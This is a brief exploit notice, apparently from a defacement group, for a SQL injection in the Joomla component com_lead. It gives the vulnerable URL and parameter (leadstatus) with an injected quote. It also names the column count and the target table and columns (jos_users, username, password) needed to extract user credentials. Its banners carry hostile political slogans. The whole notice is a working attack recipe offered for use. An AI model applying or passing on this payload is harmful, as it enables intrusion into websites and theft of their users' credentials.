Joomla Component com_lead SQL Injection

[TR] Title: Joomla Component com_lead   SQL Injection

[TR] Date: 03.06.2010
   
[TR] Author: ByEge

[TR] Homepage: byege.blogspot.com

[TR] Vendor: http://www.leadya.co.il/

<=>[TR]<=>[Turkish]<=>[Palestine]<=>[Defacer]<=>[Down]<=>[israel]<=>[TR]<=>
<=>[TR]<=>[Turkish]<=>[Palestine]<=>[Defacer]<=>[Down]<=>[israel]<=>[TR]<=>


[TR]  ExploiT     :

index.php?option=com_lead&task=display&archive=1&Itemid=65&leadstatus=1'

column number : 14
column name : username , password
table name : jos_users

<=>[TR]<=>[Turkish]<=>[Palestine]<=>[Defacer]<=>[Down]<=>[israel]<=>[TR]<=>
<=>[TR]<=>[Turkish]<=>[Palestine]<=>[Defacer]<=>[Down]<=>[israel]<=>[TR]<=>

[TR]  Th4nks : KaTLiaMCi06 , Fantastik, MitolocyA, ISYAN